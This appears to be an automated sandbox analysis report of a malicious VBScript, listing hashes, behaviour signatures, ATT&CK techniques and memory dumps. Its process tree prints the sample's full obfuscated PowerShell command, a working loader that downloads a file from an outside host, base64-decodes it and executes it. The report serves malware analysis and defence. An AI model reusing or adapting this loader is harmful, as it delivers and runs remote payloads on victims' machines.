4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e

Analysis

max time kernel
147s
max time network
152s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
27/02/2025, 02:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e.vbs
Size

66KB
MD5

0413291a862dec930cbeacabe1f57e8c
SHA1

264609925d33aa4a99dbf0246f0fd8680f94a8c7
SHA256

4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e
SHA512

9595f534d657f39fd08df644bff62cb28d2eca57c17279e8df28f21a0fb094658cfebb2b3b5f83c060e7e80444d111e2938b907f42cffc807afcb73f291ca3cf
SSDEEP

1536:apfuabI6RmNplnvrfKpI2ItF/6RH5UUYfD2:aW6RmVnTipgCRZSC

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 56 IoCs

flow	pid	Process
5	3044	powershell.exe
6	3044	powershell.exe
7	3044	powershell.exe
8	3044	powershell.exe
9	3044	powershell.exe
10	3044	powershell.exe
11	3044	powershell.exe
12	3044	powershell.exe
13	3044	powershell.exe
14	3044	powershell.exe
15	3044	powershell.exe
16	3044	powershell.exe
17	3044	powershell.exe
18	3044	powershell.exe
19	3044	powershell.exe
20	3044	powershell.exe
21	3044	powershell.exe
22	3044	powershell.exe
23	3044	powershell.exe
24	3044	powershell.exe
25	3044	powershell.exe
26	3044	powershell.exe
27	3044	powershell.exe
28	3044	powershell.exe
29	3044	powershell.exe
30	3044	powershell.exe
31	3044	powershell.exe
32	3044	powershell.exe
33	3044	powershell.exe
34	3044	powershell.exe
35	3044	powershell.exe
36	3044	powershell.exe
37	3044	powershell.exe
38	3044	powershell.exe
39	3044	powershell.exe
40	3044	powershell.exe
41	3044	powershell.exe
42	3044	powershell.exe
43	3044	powershell.exe
44	3044	powershell.exe
45	3044	powershell.exe
46	3044	powershell.exe
47	3044	powershell.exe
48	3044	powershell.exe
49	3044	powershell.exe
50	3044	powershell.exe
51	3044	powershell.exe
52	3044	powershell.exe
53	3044	powershell.exe
54	3044	powershell.exe
55	3044	powershell.exe
56	3044	powershell.exe
57	3044	powershell.exe
58	3044	powershell.exe
59	3044	powershell.exe
60	3044	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 3044	2324	WScript.exe	31
PID 2324 wrote to memory of 3044	2324	WScript.exe	31
PID 2324 wrote to memory of 3044	2324	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Monteverdi;function Haskwort($Fatshedera){ .($Scrofulorachitic89) ($Fatshedera)} function Trompetsneglenes($Blegsotigt){$furnishing=4;do{$Habilitetsgrunde+=$Blegsotigt[$furnishing];Format-List;$furnishing+=5} until(!$Blegsotigt[$furnishing])$Habilitetsgrunde}$Renvaskedes=Trompetsneglenes ' PicNOr,rENonht Med.Fa tw';$Renvaskedes+=Trompetsneglenes 'Jew eB edB tencDimoL ReiISkatESnipn agT';$sekarrenes=Trompetsneglenes 'DemeMVognoRakezAs,aiBrealKinelmulta Til/';$Flokinstinktet205=Trompetsneglenes ' G rT VejlFra sTolv1Pro.2';$Zoblers=' tnk[DdlkNS niEGramT,ake.Indissupee L,bR TolvDydsiR.mpCVisce cafpSperOVir IRustNAf,rtDan.mCuraAJazznHuncAPh tgFathe BybrSkr.].ele:Opiu:Engas ebEDimmc OliUForprFritId plt O ey FacP VinrStavo R pTByploConcCTendOCyprLErem=Fu d$NunaFTentlBackoAfmikHy eIPreoN e iSStattGodeIJ ednS.gnk BintBlueEBergTSild2Uafv0Vapo5';$sekarrenes+=Trompetsneglenes 'ev l5knip.Arbe0Pro .ina(TumuWToadi.ustnMilldEn,roOpnaw N ks en SinuNEddeTFire m.l1over0Fart. Ba 0 hy ;Numa PemoW amiNo snPhag6S bb4P ss;Enc Mi.xBest6 Unm4Flie;Mods nonfrPr cvInit:Teat1 Tho3Endo4Dige.Plas0 For)Dybl LeveGLunge ,decPantkReplo .io/ Sal2,edn0 ind1,ira0Subm0Gryd1Saer0 Spr1Apl ,ilFGokaiadvirFabreFrysfArmnoArn xBunn/Dump1Uns 3Styr4H ve. ort0';$Supersensitiveness=Trompetsneglenes 'F ruUchocs Sa e SedrSwan-FairA CilG ltrE ndenDataT';$Prges=Trompetsneglenes ' rieh scht ost fa pSolbsNedg:G im/Rean/VitrcSundaYaoufdetefSjlde UdtcIsochGruniGeniaForbnR mo.vaskcBorgo vermSams/SmoeiForgnVeruvTrip/MillO.echpV,sirTrepeBiditLasttampue rtilSequs uoye ProsSh caVacafSavegPiq iBasifRatitParfsBall.T ermArtusconti';$Playpen=Trompetsneglenes ' Rho>';$Scrofulorachitic89=Trompetsneglenes ' C oIDecae ketx';$Malvales='Vakkelvornes';$Sulpician='\Impropriator.fem';Haskwort (Trompetsneglenes 'Fors$Ju,dGSpejLSulloDet.BAutoACitrl Frk: E.uS BarYAksesAnthTSupee .vamCh rTIta,iRetop.nprn sm i.hecnBlokGBroc=Lage$LuciEFreqn ikv Tan: zigaShriP alopJourDTongASlictUdtnASymb+Quak$OrigSPreauI niLSupepAfseiPeteCChubiMunja Ly,N');Haskwort (Trompetsneglenes 'Paro$BalggSu cL.ikroUgerbL,sea Bemlloft:DellSProou oloB Su.M FreioverN T ri moSSliptPalprReguA PosNMyxoTFrim=Coun$DisopLimarcav,GForheSuveSFlle.Cl nSFal PPreplAal iHo dtopti(Tota$kamspMisclDegeA,ndeYSeptPFa iEpartNSpec)');Haskwort (Trompetsneglenes $Zoblers);$Prges=$Subministrant[0];$neons=(Trompetsneglenes 'Rest$Dep.Gc.sulBri OPassbInc AUnlelUn l:Sv,rAHaugE OpsS alaOOverN Tra=fixtNCro.eLgs WHort-T.skOPudsbBialj Ov E recThertK ll EyepsC.lcyPe,nSDwintCinneH lvm Rke.Orga$ ,egrWh.oeTilbNToxiv Sika So sMar kCo rEIsopd,ungE K ns');Haskwort ($neons);Haskwort (Trompetsneglenes 'A us$ForbANordetur sSlagoErucnHyle.CistH BoueStama,utsdEthne rofrJek sex t[ Ext$FormSNr suPalgpM,leeDrogrSubcsOmheeS ornLamps F.ri anntPseuiomravFil eUnban VejeU sts tyrsBez ]Bro =Feck$IncesCrageMah kKortaAllorEccarRu.oe.etanSkateShees');$Klubvrelse=Trompetsneglenes 'skel$ StaA AanefippsMotho.licnb ot.SkumD.utoo olw NepnUd,olfo,toUdf a AssdNoneFStori DoblR,pueKim,(Hind$SphaPAligrKunsgVi.ieMukks tre,Kass$OrdnFAktioUde rSpromU ria Pa,n NaudjimbsBun ptolvo RemsFordtshraeOrchr TrinSp re GansSa d)';$Formandsposternes=$Systemtipning;Haskwort (Trompetsneglenes 'Told$MetaGFimbLGad OUretB Beba llalBear:M ltiUpr N UovNBog uWarrMAvlieLe tR HusA InvB,ngrLHerdeCannnKasseSu,dsHamsS epu= il( CittRet,ElambsEksht Mul-bhojPanstANegetDow hTal For$T doFH reOTontrPol MUnvea SekNStoldH drsFlyvPFileO HybsS.imTTurreClamrSp rn MereOmveSLyss)');while (!$Innumerableness) {Haskwort (Trompetsneglenes 'Fina$CystgAnt lSu roJuleb,onia nprlJord:ElfeV verrDisadRougiD,sagkla.hBen,e.ofudPen.s StikPrebr DaraC.nsvP mpe NivnDer,eKl.i=garn$ShoaTFordo UmemOpsie,atcnCi.ctBjniu ntm') ;Haskwort $Klubvrelse;Haskwort (Trompetsneglenes 'Utro[AlmetEgochLetur biseVariACzarD ensISideNPostGHarm.IntetC.udHIndvrspekeSysta GruDSrge] Cob:,ona:RetrsSamslSak eP efethroPpoin( Rep4Grut0La d0 ard0Tr m)');Haskwort (Trompetsneglenes ' dle$DingGGra LBr,nO otoBSta aL,nilDemo:RangIkrllNBen,NC luuI famMusneBulbr HomAPignbEuphLLongElighnKiloekamuS iagSC ll=h lp(Klant StrE,ympsBevitAbor- SlepIdepaD sttCenthPla Mill$PhagfRaavO,arcrPianmRemaaFeriNG updSigmsNorepGua oBaths Foat M nE g.dR Tr NThy EHyp sCata)') ;Haskwort (Trompetsneglenes 'grsr$OvergC,wplFlleoTenaBA skaStaklLi t:Ko.dBSpleEBr.dsCo.gt.imiI A,oAGunpR blai SprA VilNLon = Dam$ HjeGS urlAnapot ndBLensaSlmmL Tff:SimpC.chlhCa pAOve uOkseFProcE errRImp sOnag+ Mis+I.on%,isp$Ur aSKanaU erbF.rsmTriaiindsNPenii a esBesmtNyskrA teAme,vNS,rkTDec,.R,accBeatOP niuFor,nMainT') ;$Prges=$Subministrant[$Bestiarian]}$Suctions=288784;$Skies=31348;Haskwort (Trompetsneglenes ' old$ Selg Moul obsorestBLektaMaa lCard:PossK BiraRea.TJ,gtAOrcinstrikMackeSildRSkra K lb= rs F.bGRanseHurtTBade-amblc hinoMidnn .arTVrlee EgeNGa,ntTose Sk a$ KonF TupobultRdireMForla RegnPozzd rotSL gppNilgOKands C.ptKrakE nybRFilmnFenaEFireS');Haskwort (Trompetsneglenes ' Tor$RickgPrmilGuldo aelbSojaaAktil Mal:hersHBegoeTalaiPh tdUdlgiNajeeTe n past=Demo Teks[ SkaS Runy TeksEd atRebbe npmUnpu.Gi sC JuroSeptnB.ndvCo teMi prMisetStat] ,et:Anbe:AntiFtierrFrouo LavmInduB .ndaUdrasClifec ll6 ros4PunkSRaa tPictr OveiR,ddnS eagSjle(Clea$LivsK T.raK llt,esoamonenTelekPapaeDemor agl)');Haskwort (Trompetsneglenes 'Hemo$DoceG PhyLSv joStembAbomAsmr lPlai:L,sbFHavfi ataBSynsE arorUnshSVegeP uftrKi lNArkeGUnpeNSt rI,awmN V.ggHa dEPearNFor.sKano Rein=Land Nyh [ Trasminky .tasRedntBaadESmaaMBek,.LipoTD plE parxStuetSid .Obj.EB,rgNSlagC avOSakrd e gIE.ecN BargPens] Ha :Fdre:So aA U.hSBu,gcFreeICakrI,tay.In dGZoneEAp oTLedsSPlimT estrGlosiImpaNAcriGSvbe(baga$Hed hSivnETro iMonodViviiLedse L.t)');Haskwort (Trompetsneglenes 'Doug$ TeogHjmoLSt gORbarBGrapa nesL cu : ,liB.seuR blO Fi WP umSFr ktTere=Plet$Aggrf SeriBi lBHun eBin R MedSNeofpImp R HolNFallg eodnSc eI binNGen gAuxeEAarrNstiksSkif.DonkS Bo.U DikBNon Svandt AsmrNemmiAlmenHaecGSkft( ali$skufSBlotu BjecUofftLiceiFjerO ,unNethisMuss,Hjti$Jenas,araKVen iUnfaeFlkksLand)');Haskwort $browst;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3044-4-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

Filesize
4KB

Download
memory/3044-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/3044-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/3044-7-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-8-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-9-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-10-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-11-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-12-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-13-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

Filesize
4KB

Download
memory/3044-14-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-15-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

Filesize
9.6MB

Download